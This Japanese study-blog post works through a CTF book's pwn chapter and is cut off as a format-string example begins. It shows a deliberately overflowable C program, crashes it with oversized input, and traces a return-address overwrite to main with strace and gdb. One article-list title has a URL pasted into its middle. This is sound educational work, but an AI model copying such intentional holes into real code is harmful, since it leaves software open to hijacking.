土日の勉強ノート

AI、機械学習、最適化、Pythonなどについて、技術調査、技術書の理解した内容、ソフトウェア/ツール作成について書いていきます

セキュリティコンテストチャレンジブックの「Part2 pwn」を読んだ

前回 から、ksnctf を開始しました。少し難しかったので、書籍などから知識を得ることも並行してやっていきます。

セキュリティコンテストチャレンジブック CTFで学ぼう!情報を守るための戦い方」の「Part2 pwn」を読みましたが、なかなか内容が濃くて、読んだだけでは、十分に理解できませんでした。今回は、「Part2 pwn」の演習を、実際に自分で動かしていきたいと思います。

それでは、やっていきます。

参考文献

2015年9月に、初版が発行された書籍です。9年前の書籍ですが、実際に読んでみると、しっかりとステップを踏んで、技術が身につくように書かれています。

ハリネズミ本と呼ばれていて、有名な書籍だと思いますが、Amazon のレビューでは、書かれてる内容のレベルが高くて、説明が不十分とか、結構言われてます(笑)。

最初は、「入門セキュリティコンテストーーCTFを解きながら学ぶ実戦技術」の方がいいかもしれませんね。ただ、こちらは、Pwn の問題が、かなり難しいので、Pwn は、今回の「セキュリティコンテストチャレンジブック CTFで学ぼう!情報を守るための戦い方」がやりやすいと思います。

はじめに

「セキュリティ」の記事一覧です。良かったら参考にしてください。

セキュリティの記事一覧
・第1回:Ghidraで始めるリバースエンジニアリング(環境構築編)
・第2回:Ghidraで始めるリバースエンジニアリング(使い方編)
・第3回:VirtualBoxにParrotOS(OVA)をインストールする
・第4回:tcpdumpを理解して出力を正しく見れるようにする
・第5回:nginx(エンジンエックス)を理解する
・第6回:Python+Flask(WSGI+Werkzeug+Jinja2)を動かしてみる
・第7回:Python+FlaskのファイルをCython化してみる
・第8回:shadowファイルを理解してパスワードを解読してみる
・第9回:安全なWebアプリケーションの作り方(徳丸本)の環境構築
・第10回:Vue.jsの2.xと3.xをVue CLIを使って動かしてみる(ビルドも行う)
・第11回:Vue.jsのソースコードを確認する(ビルド後のソースも見てみる)
・第12回:徳丸本:OWASP ZAPの自動脆弱性スキャンをやってみる
・第13回:徳丸本:セッション管理を理解してセッションID漏洩で成りすましを試す
・第14回:OWASP ZAPの自動スキャン結果の分析と対策:パストラバーサル
・第15回:OWASP ZAPの自動スキャン結果の分析と対策:クロスサイトスクリプティング(XSS)
・第16回:OWASP ZAPの自動スキャン結果の分析と対策:SQLインジェクション
・第17回:OWASP ZAPの自動スキャン結果の分析と対策:オープンリダイレクト
・第18回:OWASP ZAPの自動スキャン結果の分析と対策:リスク中すべて
・第19回:CTF初心者向けのCpawCTFをやってみた
・第20回:hashcatの使い方とGPUで実行したときの時間を見積もってみる
・第21回:Scapyの環境構築とネットワークプログラミング
・第22回:CpawCTF2にチャレンジします(クリア状況は随時更新します)
・第23回:K&Rのmalloc関数とfree関数を理解する
・第24回:C言語、アセンブラでシェルを起動するプログラムを作る(ARM64)
・第25回:機械語でシェルを起動するプログラムを作る(ARM64)
・第26回:入門セキュリhttps://github.com/SECCON/SECCON2017_online_CTF.gitティコンテスト(CTFを解きながら学ぶ実践技術)を読んだ
・第27回:x86-64 ELF(Linux)のアセンブラをGDBでデバッグしながら理解する(GDBコマンド、関連ツールもまとめておく)
・第28回:入門セキュリティコンテスト(CTFを解きながら学ぶ実践技術)のPwnable問題をやってみる
・第29回:実行ファイルのセキュリティ機構を調べるツール「checksec」のまとめ
・第30回:setodaNote CTF Exhibitionにチャレンジします(クリア状況は随時更新します)
・第31回:常設CTFのksnctfにチャレンジします(クリア状況は随時更新します)
・第32回:セキュリティコンテストチャレンジブックの「Part2 pwn」を読んだ ← 今回

セキュリティコンテストチャレンジブックのサポートサイトは以下です。ここで、ソースコードや、書籍には載っていない付録が、2つダウンロードできます。

付録は、以下の2つです。とてもいい内容だったと思います。ただ、Part2 はリンクがおかしくなっていました。Part1 と同じディレクトリにあったので、Part1 の付録の URL をブラウザに入力した後、ファイル名だけ、「02章付録.pdf」に差し替えるとダウンロードできます。

  • Part1 バイナリ解析:付録「バイナリ解析に関するTIPS」
  • Part2 Pwn:付録「シェルコード」

book.mynavi.jp

それでは、やっていきます。

Part2 pwn

Part2 は、2.1(ステップ1)から、2.5(ステップ5)で構成されています。同じ順番で、実践していきたいと思います。

ステップ1:pwnとは

ここは、ツールの紹介と、環境構築について書かれています。

peda の便利コマンドとして、以下が紹介されています。

コマンド 内容
pdissassemble(pdisas) コードハイライトされた逆アセンブル結果を表示する(使ってみましたが、逆にコードハイライトされない逆アセンブラが表示されました。普段使ってる disas の方がコードハイライトされています)
ropgadget ROPを行うときの便利なガジェットを表示する(手軽に ROPガジェットを探すには便利だと思いました)
pattern バッファオーバーフローしたときに、どの部分がレジスタに代入されているかを調べることができる(これも便利です、pattc と patto の組み合わせです)
vmmap 実行中のアプリケーションがメモリ領域をどのように確保しているかを表示する(vmmap は、普段使ってる i proc map と似ていて、vmmap の方が情報量が少なかったので、i proc map を使った方がいいと思います)

ステップ2:下調べ

セキュリティ機構について、説明されています。以下の記事で詳しくやったので割愛します。

daisuke20240310.hatenablog.com

ステップ3:脆弱性を探す

スタックオーバーフローの脆弱性を含んでいるプログラム「bof」と、そのソースコードの「bof.c」が提供されています。

また、printf系関数の書式文字列に脆弱性を含んでいるプログラム「format」と、そのソースコード「format.c」も提供されています。

順番に見ていきます。

スタックオーバーフローの脆弱性を含んでいるプログラム「bof」

気になるところとしては、64bit OS を使っていそうなのに、gcc に「-m32」のオプションを使って、32bitプログラムとしているところと、SSP(スタックカナリヤ)を無効な状態でコンパイルしているところでしょうか。

この条件だと、SSP は有効でも同じ動作をしそうなんですが、そこについての説明はありません。

まずは、提供されているプログラム「bof」を動かしてみます。まず、ソースです。

// bof.c
#include <stdio.h>

int main(int argc, char *argv[]) {
        char buffer[100];
        fgets(buffer, 128, stdin);
        return 0;
}

9年前のものなので、動かないかもしれないと思いましたが、期待通りの動作になりました。

$ python -c 'print("CTF for Beginners")' | ./bof

$ python -c 'print("A" * 128)' | ./bof
Segmentation fault

続いて、strace を付けて実行してみます。-i は、「print instruction pointer at time of syscall」ということなので、システムコールが発生したときの実行アドレスが行頭に表示されるということだと思います。

ログの最後の方に、[41414141] から始まる行がありますが、これは、EIP に、ユーザの入力である AAAA が設定されたということを示しています。つまり、任意のアドレスを実行できるようになったということになります。

$ python -c 'print("A" * 128)' | strace -i ./bof
[00007f76f4477a17] execve("./bof", ["./bof"], 0x7ffcc12d9d78 /* 24 vars */) = 0
[f7f168e7] [ Process PID=2633 runs in 32 bit mode. ]
[f7f168e7] brk(NULL)                    = 0x8ae1000
[f7f1998d] mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xf7eee000
[f7f180bb] access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
[f7f182ba] openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 3
[f7f17c37] statx(3, "", AT_STATX_SYNC_AS_STAT|AT_NO_AUTOMOUNT|AT_EMPTY_PATH, STATX_BASIC_STATS, {stx_mask=STATX_ALL|STATX_MNT_ID, stx_attributes=0, stx_mode=S_IFREG|0644, stx_size=95990, ...}) = 0
[f7f1998d] mmap2(NULL, 95990, PROT_READ, MAP_PRIVATE, 3, 0) = 0xf7ed6000
[f7f180f7] close(3)                     = 0
[f7f182ba] openat(AT_FDCWD, "/lib32/libc.so.6", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 3
[f7f18310] read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\0205\2\0004\0\0\0"..., 512) = 512
[f7f17c37] statx(3, "", AT_STATX_SYNC_AS_STAT|AT_NO_AUTOMOUNT|AT_EMPTY_PATH, STATX_BASIC_STATS, {stx_mask=STATX_ALL|STATX_MNT_ID, stx_attributes=0, stx_mode=S_IFREG|0755, stx_size=2225200, ...}) = 0
[f7f1998d] mmap2(NULL, 2259228, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xf7c00000
[f7f1998d] mmap2(0xf7c22000, 1544192, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x22000) = 0xf7c22000
[f7f1998d] mmap2(0xf7d9b000, 524288, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x19b000) = 0xf7d9b000
[f7f1998d] mmap2(0xf7e1b000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x21b000) = 0xf7e1b000
[f7f1998d] mmap2(0xf7e1e000, 39196, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xf7e1e000
[f7f180f7] close(3)                     = 0
[f7f11ef7] set_thread_area({entry_number=-1, base_addr=0xf7eef540, limit=0x0fffff, seg_32bit=1, contents=0, read_exec_only=0, limit_in_pages=1, seg_not_present=0, useable=1}) = 0 (entry_number=12)
[f7f08700] set_tid_address(0xf7eef5a8)  = 2633
[f7f0873d] set_robust_list(0xf7eef5ac, 12) = 0
[f7f0876f] rseq(0xf7eef9e0, 0x20, 0, 0x53053053) = 0
[f7f18674] mprotect(0xf7e1b000, 8192, PROT_READ) = 0
[f7f18674] mprotect(0x8049000, 4096, PROT_READ) = 0
[f7f18674] mprotect(0xf7f28000, 8192, PROT_READ) = 0
[f7ef4589] ugetrlimit(RLIMIT_STACK, {rlim_cur=8192*1024, rlim_max=RLIM_INFINITY}) = 0
[f7f18651] munmap(0xf7ed6000, 95990)    = 0
[f7ef4589] statx(0, "", AT_STATX_SYNC_AS_STAT|AT_NO_AUTOMOUNT|AT_EMPTY_PATH, STATX_BASIC_STATS, {stx_mask=STATX_BASIC_STATS|STATX_MNT_ID, stx_attributes=0, stx_mode=S_IFIFO|0600, stx_size=0, ...}) = 0
[f7ef4589] getrandom("\x3f\x6b\x43\x09", 4, GRND_NONBLOCK) = 4
[f7ef4589] brk(NULL)                    = 0x8ae1000
[f7ef4589] brk(0x8b02000)               = 0x8b02000
[f7ef4589] brk(0x8b03000)               = 0x8b03000
[f7ef4589] read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 4096) = 129
[41414141] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x41414141} ---
[????????] +++ killed by SIGSEGV +++
Segmentation fault

ここからは、書籍にはない追加の実施内容になります。

サポートサイトからダウンロードしたプログラムを、自分の環境で、同じようにコンパイルして生成できるかを試します。

スタックオーバーフローの脆弱性を含んでいるプログラム「bof」(自分で32bitコンパイル)

32bit のビルド環境をインストールします。サポートサイトからダウンロードしたファイルの中の setup.sh に書かれている内容です。libc6:i386 は無いようなので、スキップしておきます。

いくつかの警告はありますが、32bitプログラムを作れたようです。

$ mv bof bof_org

$ sudo apt-get install build-essential gcc-multilib git gdb nasm libc6:i386
E: Unable to locate package libc6:i386

$ sudo apt-get install build-essential gcc-multilib git gdb nasm

$ gcc -m32 -fno-stack-protector -o bof bof.c
bof.c: In function 'main':
bof.c:5:9: warning: 'fgets' writing 128 bytes into a region of size 100 overflows the destination [-Wstringop-overflow=]
    5 |         fgets(buffer, 128, stdin);
      |         ^~~~~~~~~~~~~~~~~~~~~~~~~
bof.c:4:14: note: destination object 'buffer' of size 100
    4 |         char buffer[100];
      |              ^~~~~~
In file included from bof.c:1:
/usr/include/stdio.h:592:14: note: in a call to function 'fgets' declared with attribute 'access (write_only, 1, 2)'
  592 | extern char *fgets (char *__restrict __s, int __n, FILE *__restrict __stream)
      |              ^~~~~
bof.c:5:9: warning: 'fgets' writing 128 bytes into a region of size 100 overflows the destination [-Wstringop-overflow=]
    5 |         fgets(buffer, 128, stdin);
      |         ^~~~~~~~~~~~~~~~~~~~~~~~~
bof.c:4:14: note: destination object 'buffer' of size 100
    4 |         char buffer[100];
      |              ^~~~~~
/usr/include/stdio.h:592:14: note: in a call to function 'fgets' declared with attribute 'access (write_only, 1, 2)'
  592 | extern char *fgets (char *__restrict __s, int __n, FILE *__restrict __stream)
      |              ^~~~~

$ file bof
bof: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=f5a5bf6f1c70e14e1a66c0bd0327a417e8b0259e, for GNU/Linux 3.2.0, not stripped

サポートサイトからダウンロードしたプログラムを使って、これまで実施してきた内容を、自分でコンパイルしたプログラムでも、同じことをやってみます(同じ内容なので、ここには貼りません)。

1点だけ結果が異なっていました。strace の実行で、[41414141] になるはずのところが、[566201d6] に変わりました。

$ python -c 'print("A" * 128)' | strace -i ./bof
(途中、省略)
[f7f88589] read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 4096) = 129
[566201d6] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x4141413d} ---
[????????] +++ killed by SIGSEGV +++
Segmentation fault

GDB で確認してみます。main関数の逆アセンブラです。

gdb-peda$ disas
Dump of assembler code for function main:
   0x5655618d <+0>:     lea    ecx,[esp+0x4]
   0x56556191 <+4>:     and    esp,0xfffffff0
   0x56556194 <+7>:     push   DWORD PTR [ecx-0x4]
   0x56556197 <+10>:    push   ebp
   0x56556198 <+11>:    mov    ebp,esp
   0x5655619a <+13>:    push   ebx
   0x5655619b <+14>:    push   ecx
=> 0x5655619c <+15>:    sub    esp,0x70
   0x5655619f <+18>:    call   0x565561d7 <__x86.get_pc_thunk.ax>
   0x565561a4 <+23>:    add    eax,0x2e50
   0x565561a9 <+28>:    mov    edx,DWORD PTR [eax-0xc]
   0x565561af <+34>:    mov    edx,DWORD PTR [edx]
   0x565561b1 <+36>:    sub    esp,0x4
   0x565561b4 <+39>:    push   edx
   0x565561b5 <+40>:    push   0x80
   0x565561ba <+45>:    lea    edx,[ebp-0x6c]
   0x565561bd <+48>:    push   edx
   0x565561be <+49>:    mov    ebx,eax
   0x565561c0 <+51>:    call   0x56556040 <fgets@plt>
   0x565561c5 <+56>:    add    esp,0x10
   0x565561c8 <+59>:    mov    eax,0x0
   0x565561cd <+64>:    lea    esp,[ebp-0x8]
   0x565561d0 <+67>:    pop    ecx
   0x565561d1 <+68>:    pop    ebx
   0x565561d2 <+69>:    pop    ebp
   0x565561d3 <+70>:    lea    esp,[ecx-0x4]
   0x565561d6 <+73>:    ret
End of assembler dump.

main関数のスタックの状態を表にしてみます。

fgets関数に渡すバッファのアドレスは、ebp-0x6c です。

アドレス サイズ 内容 備考
ebp+0x04 4 リターンアドレス
ebp 4 1つ前のesp
ebp-0x04 4 ebx
ebp-0x08 4 ecx
ebp-0x6c 100 ecx buffer
ebp-0x78 4 0x70後にespが指してるところ、かつ、add 0x10後にespが指してるところ
ebp-0x7c 4 sub 4後にespが指してるところ
ebp-0x80 4 push edx後にespが指してるところ
ebp-0x84 4 push 0x80後にespが指してるところ
ebp-0x88 4 push edx後にespが指してるところ

特に問題はなさそうでした。

2つの bofプログラムを、GDB で追いかけてみました。すると、違いがありました。

以下は、サポートサイトからダウンロードした bof の main関数の逆アセンブラです。

gdb-peda$ disas
Dump of assembler code for function main:
   0x0804843d <+0>:     push   ebp
   0x0804843e <+1>:     mov    ebp,esp
=> 0x08048440 <+3>:     and    esp,0xfffffff0
   0x08048443 <+6>:     add    esp,0xffffff80
   0x08048446 <+9>:     mov    eax,ds:0x804a020
   0x0804844b <+14>:    mov    DWORD PTR [esp+0x8],eax
   0x0804844f <+18>:    mov    DWORD PTR [esp+0x4],0x80
   0x08048457 <+26>:    lea    eax,[esp+0x1c]
   0x0804845b <+30>:    mov    DWORD PTR [esp],eax
   0x0804845e <+33>:    call   0x8048310 <fgets@plt>
   0x08048463 <+38>:    mov    eax,0x0
   0x08048468 <+43>:    leave
   0x08048469 <+44>:    ret
End of assembler dump.
gdb-peda$ 

サポートサイトからダウンロードした bof の方は、main関数の ret命令を実行した後、EIP に 0x41414141 が入っていて、そのアドレスを実行したときに、SIGSEGV が発生しました。なので、strace では [41414141] が表示されていました。スタックは AAAA で書きつぶしましたが、ESP に格納されているアドレス自体は壊れていません。

一方、自分でコンパイルした bof は、ret命令を実行したときに、SIGSEGV が発生しました。なので、[41414141] ではなく、ret命令のアドレスが表示されていたんだと思います。

では、なぜ、ret命令で SIGSEGV が発生したのかです。ret命令では、ESP が指しているメモリの値(リターンアドレス)を EIP に設定して、ESP をインクリメントします。ESP が壊れている(ESP がアクセスできないところを指している)と、メモリからリターンアドレスを取得する時点で例外が発生します。

サポートサイトからダウンロードした bof は、main関数のプロローグとエピローグが、お決まりの形です。プロローグは、push ebpmov ebp,esp で、エピローグは leave です。

一方、自分でコンパイルしたプログラムは、エピローグで、leave が使われず、ecx を使って、スタックを復帰しています。ecx は、その前にスタックから pop していて壊れています。これが、2つのプログラムが違っているところです。

最初は、strace で、分かりやすい表示になっていないというだけで、動きは同じかと思いましたが、よく考えると、リターンアドレスを書き換えて、任意のアドレスを実行することが出来なくなっています。

セキュリティ機構が異なるのでしょうか、確認してみます。PIE だけ異なります。

$ checksec --file=bof_org
RELRO           STACK CANARY      NX            PIE          RPATH      RUNPATH      Symbols       FORTIFY  Fortified  Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE       No RPATH   No RUNPATH   68 Symbols    No       0          1            bof_org

$ checksec --file=bof
RELRO           STACK CANARY      NX            PIE          RPATH      RUNPATH      Symbols       FORTIFY  Fortified  Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    PIE enabled  No RPATH   No RUNPATH   41 Symbols    No       0          1            bof

では、自分でコンパイルするときに、PIE を無効にしてみます。

strace の結果は、変化しましたが、アドレスは [41414141] になりませんでした。逆アセンブラの結果を見ても、リターンアドレスの書き換えが単純には出来なさそうです。

$ gcc -m32 -fno-stack-protector -no-pie -o bof_nopie bof.c

$ python -c 'print("A" * 128)' | strace -i ./bof_nopie
(途中、省略)
[f7ef5589] read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 4096) = 129
[0804919f] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x4141413d} ---
[????????] +++ killed by SIGSEGV +++
Segmentation fault

$ objdump -M intel -d bof_nopie
(途中、省略)
08049156 <main>:
 8049156:       8d 4c 24 04             lea    ecx,[esp+0x4]
 804915a:       83 e4 f0                and    esp,0xfffffff0
 804915d:       ff 71 fc                push   DWORD PTR [ecx-0x4]
 8049160:       55                      push   ebp
 8049161:       89 e5                   mov    ebp,esp
 8049163:       53                      push   ebx
 8049164:       51                      push   ecx
 8049165:       83 ec 70                sub    esp,0x70
 8049168:       e8 33 00 00 00          call   80491a0 <__x86.get_pc_thunk.ax>
 804916d:       05 87 2e 00 00          add    eax,0x2e87
 8049172:       8b 90 fc ff ff ff       mov    edx,DWORD PTR [eax-0x4]
 8049178:       8b 12                   mov    edx,DWORD PTR [edx]
 804917a:       83 ec 04                sub    esp,0x4
 804917d:       52                      push   edx
 804917e:       68 80 00 00 00          push   0x80
 8049183:       8d 55 94                lea    edx,[ebp-0x6c]
 8049186:       52                      push   edx
 8049187:       89 c3                   mov    ebx,eax
 8049189:       e8 b2 fe ff ff          call   8049040 <fgets@plt>
 804918e:       83 c4 10                add    esp,0x10
 8049191:       b8 00 00 00 00          mov    eax,0x0
 8049196:       8d 65 f8                lea    esp,[ebp-0x8]
 8049199:       59                      pop    ecx
 804919a:       5b                      pop    ebx
 804919b:       5d                      pop    ebp
 804919c:       8d 61 fc                lea    esp,[ecx-0x4]
 804919f:       c3                      ret

なぜ、こうなっているのか、今のところ分かりません。

スタックオーバーフローの脆弱性を含んでいるプログラム「bof」(自分で64bitコンパイル)

何気なく、Amazon のレビューを見ていると、同じ症状の方がおられました。32bit環境では、gcc のスタックの使い方が当時と変わっているから、ということでした。64bit環境では、同じことが実現できたらしいです。

なるほど、では、64bit でやってみます。

結果としては、strace は、[41414141] のようにはなりませんでした。逆アセンブラを見ると、32bit でコンパイルしたものとは異なり、スタックの扱いは、問題なく、leave が使われるようになっていました。

$ gcc -fno-stack-protector -o bof_64 bof.c
bof.c: In function 'main':
bof.c:5:9: warning: 'fgets' writing 128 bytes into a region of size 100 overflows the destination [-Wstringop-overflow=]
    5 |         fgets(buffer, 128, stdin);
      |         ^~~~~~~~~~~~~~~~~~~~~~~~~
bof.c:4:14: note: destination object 'buffer' of size 100
    4 |         char buffer[100];
      |              ^~~~~~
In file included from bof.c:1:
/usr/include/stdio.h:592:14: note: in a call to function 'fgets' declared with attribute 'access (write_only, 1, 2)'
  592 | extern char *fgets (char *__restrict __s, int __n, FILE *__restrict __stream)
      |              ^~~~~
bof.c:5:9: warning: 'fgets' writing 128 bytes into a region of size 100 overflows the destination [-Wstringop-overflow=]
    5 |         fgets(buffer, 128, stdin);
      |         ^~~~~~~~~~~~~~~~~~~~~~~~~
bof.c:4:14: note: destination object 'buffer' of size 100
    4 |         char buffer[100];
      |              ^~~~~~
/usr/include/stdio.h:592:14: note: in a call to function 'fgets' declared with attribute 'access (write_only, 1, 2)'
  592 | extern char *fgets (char *__restrict __s, int __n, FILE *__restrict __stream)
      |              ^~~~~

$ python -c 'print("A" * 128)' | strace -i ./bof_64
(途中、省略)
[00007fd17c66c19d] read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 4096) = 129
[000055795271b166] --- SIGSEGV {si_signo=SIGSEGV, si_code=SI_KERNEL, si_addr=NULL} ---
[????????????????] +++ killed by SIGSEGV +++
Segmentation fault

$ objdump -M intel -d bof_64
(途中、省略)
0000000000001139 <main>:
    1139:       55                      push   rbp
    113a:       48 89 e5                mov    rbp,rsp
    113d:       48 83 c4 80             add    rsp,0xffffffffffffff80
    1141:       89 7d 8c                mov    DWORD PTR [rbp-0x74],edi
    1144:       48 89 75 80             mov    QWORD PTR [rbp-0x80],rsi
    1148:       48 8b 15 d1 2e 00 00    mov    rdx,QWORD PTR [rip+0x2ed1]        # 4020 <stdin@GLIBC_2.2.5>
    114f:       48 8d 45 90             lea    rax,[rbp-0x70]
    1153:       be 80 00 00 00          mov    esi,0x80
    1158:       48 89 c7                mov    rdi,rax
    115b:       e8 d0 fe ff ff          call   1030 <fgets@plt>
    1160:       b8 00 00 00 00          mov    eax,0x0
    1165:       c9                      leave
    1166:       c3                      ret

GDB で見てみます。最終的には有効なアドレスをリターンアドレスに設定するため、PIE は無効にしておきます。

$ gcc -fno-stack-protector -no-pie -o bof_64_nopie bof.c
(警告は省略)

$ python -c 'print("A" * 128)' | strace -i ./bof_64_nopie
(途中、省略)
[00007f2545b1a19d] read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 4096) = 129
[0000000000401153] --- SIGSEGV {si_signo=SIGSEGV, si_code=SI_KERNEL, si_addr=NULL} ---
[????????????????] +++ killed by SIGSEGV +++
Segmentation fault

$ objdump -M intel -d bof_64_nopie
0000000000401126 <main>:
  401126:       55                      push   rbp
  401127:       48 89 e5                mov    rbp,rsp
  40112a:       48 83 c4 80             add    rsp,0xffffffffffffff80
  40112e:       89 7d 8c                mov    DWORD PTR [rbp-0x74],edi
  401131:       48 89 75 80             mov    QWORD PTR [rbp-0x80],rsi
  401135:       48 8b 15 e4 2e 00 00    mov    rdx,QWORD PTR [rip+0x2ee4]        # 404020 <stdin@GLIBC_2.2.5>
  40113c:       48 8d 45 90             lea    rax,[rbp-0x70]
  401140:       be 80 00 00 00          mov    esi,0x80
  401145:       48 89 c7                mov    rdi,rax
  401148:       e8 e3 fe ff ff          call   401030 <fgets@plt>
  40114d:       b8 00 00 00 00          mov    eax,0x0
  401152:       c9                      leave
  401153:       c3                      ret

ret命令を実行する直前まで来ました。先ほどと異なり、RSP のアドレスは正常ですが、そのアドレスに格納されているのは AAAA です。

[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x7fffffffe2a8 --> 0x7fffffffe520 ("/home/user/svn/experiment/securitycontest_challengebook/book4b_pwn/step3/bof_64_nopie")
RCX: 0x7fffffffe120 ('A' <repeats 127 times>)
RDX: 0xfbad2288
RSI: 0x4052a1 ('A' <repeats 127 times>, "\n")
RDI: 0x7ffff7f9da20 --> 0x0
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffe198 --> 0x41414141414141 ('AAAAAAA')
RIP: 0x401153 (<main+45>:       ret)
R8 : 0x0
R9 : 0x21001
R10: 0x1000
R11: 0x246
R12: 0x0
R13: 0x7fffffffe2b8 --> 0x7fffffffe576 ("SHELL=/bin/bash")
R14: 0x403e00 --> 0x4010f0 (<__do_global_dtors_aux>:    endbr64)
R15: 0x7ffff7ffd020 --> 0x7ffff7ffe2e0 --> 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x401148 <main+34>:  call   0x401030 <fgets@plt>
   0x40114d <main+39>:  mov    eax,0x0
   0x401152 <main+44>:  leave
=> 0x401153 <main+45>:  ret
   0x401154 <_fini>:    sub    rsp,0x8
   0x401158 <_fini+4>:  add    rsp,0x8
   0x40115c <_fini+8>:  ret
   0x40115d:    add    BYTE PTR [rax],al
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe198 --> 0x41414141414141 ('AAAAAAA')
0008| 0x7fffffffe1a0 --> 0x0
0016| 0x7fffffffe1a8 --> 0x401126 (<main>:      push   rbp)
0024| 0x7fffffffe1b0 --> 0x100000000
0032| 0x7fffffffe1b8 --> 0x7fffffffe2a8 --> 0x7fffffffe520 ("/home/user/svn/experiment/securitycontest_challengebook/book4b_pwn/step3/bof_64_nopie")
0040| 0x7fffffffe1c0 --> 0x7fffffffe2a8 --> 0x7fffffffe520 ("/home/user/svn/experiment/securitycontest_challengebook/book4b_pwn/step3/bof_64_nopie")
0048| 0x7fffffffe1c8 --> 0x86b34850199338d7
0056| 0x7fffffffe1d0 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Temporary breakpoint 2, 0x0000000000401153 in main ()

この ret命令で SIGSEGV が発生しました。

Stopped reason: SIGSEGV
0x0000000000401153 in main ()

今度は、リターンアドレスに AAAA ではなく、正常なアドレスを設定してみます。具体的には、main関数の先頭(0x401126)を設定します。ret命令の実行の直前まで来ました。先ほどとは異なり、RSP が指しているメモリに、0x401126 が格納されています。

[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x7fffffffe2a8 --> 0x7fffffffe520 ("/home/user/svn/experiment/securitycontest_challengebook/book4b_pwn/step3/bof_64_nopie")
RCX: 0x7fffffffe120 ('A' <repeats 120 times>, "&\021@")
RDX: 0xfbad2088
RSI: 0x4052a1 ('A' <repeats 119 times>, "&\021@")
RDI: 0x7ffff7f9da20 --> 0x0
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffe198 --> 0x401126 (<main>:       push   rbp)
RIP: 0x401153 (<main+45>:       ret)
R8 : 0x0
R9 : 0x21001
R10: 0x1000
R11: 0x246
R12: 0x0
R13: 0x7fffffffe2b8 --> 0x7fffffffe576 ("SHELL=/bin/bash")
R14: 0x403e00 --> 0x4010f0 (<__do_global_dtors_aux>:    endbr64)
R15: 0x7ffff7ffd020 --> 0x7ffff7ffe2e0 --> 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x401148 <main+34>:  call   0x401030 <fgets@plt>
   0x40114d <main+39>:  mov    eax,0x0
   0x401152 <main+44>:  leave
=> 0x401153 <main+45>:  ret
   0x401154 <_fini>:    sub    rsp,0x8
   0x401158 <_fini+4>:  add    rsp,0x8
   0x40115c <_fini+8>:  ret
   0x40115d:    add    BYTE PTR [rax],al
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe198 --> 0x401126 (<main>:      push   rbp)
0008| 0x7fffffffe1a0 --> 0x0
0016| 0x7fffffffe1a8 --> 0x401126 (<main>:      push   rbp)
0024| 0x7fffffffe1b0 --> 0x100000000
0032| 0x7fffffffe1b8 --> 0x7fffffffe2a8 --> 0x7fffffffe520 ("/home/user/svn/experiment/securitycontest_challengebook/book4b_pwn/step3/bof_64_nopie")
0040| 0x7fffffffe1c0 --> 0x7fffffffe2a8 --> 0x7fffffffe520 ("/home/user/svn/experiment/securitycontest_challengebook/book4b_pwn/step3/bof_64_nopie")
0048| 0x7fffffffe1c8 --> 0x9e4c9a3706b52a69
0056| 0x7fffffffe1d0 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Temporary breakpoint 4, 0x0000000000401153 in main ()

ステップ実行します。main関数の先頭に来ました。SIGSEGV は発生しませんでした。

[-------------------------------------code-------------------------------------]
   0x40111c <__do_global_dtors_aux+44>: nop    DWORD PTR [rax+0x0]
   0x401120 <frame_dummy>:      endbr64
   0x401124 <frame_dummy+4>:    jmp    0x4010b0 <register_tm_clones>
=> 0x401126 <main>:     push   rbp
   0x401127 <main+1>:   mov    rbp,rsp
   0x40112a <main+4>:   add    rsp,0xffffffffffffff80
   0x40112e <main+8>:   mov    DWORD PTR [rbp-0x74],edi
   0x401131 <main+11>:  mov    QWORD PTR [rbp-0x80],rsi
[------------------------------------stack-------------------------------------]

サポートサイトからダウンロードした、32bitプログラムと、64bit でコンパイルしたプログラムで、ret命令の挙動が異なっているように見えます。何か情報がないか、Web を探してみましたが、見つかりませんでした。

リターンアドレスを書き換えること自体は出来るので、先に進みます。

printf系関数の書式文字列に脆弱性を含んでいるプログラム「format」

ユーザの入力を書式文字列に使ってしまうことで、メモリの読み書きが出来てしまう脆弱性です。

ソースコードを見てみます。ユーザからの入力を、str という配列に格納して、それを、そのまま printf関数で出力しています。ユーザに任意の出力をさせてしまうところが問題となる脆弱性です。

// format.c
#include <stdio.h>

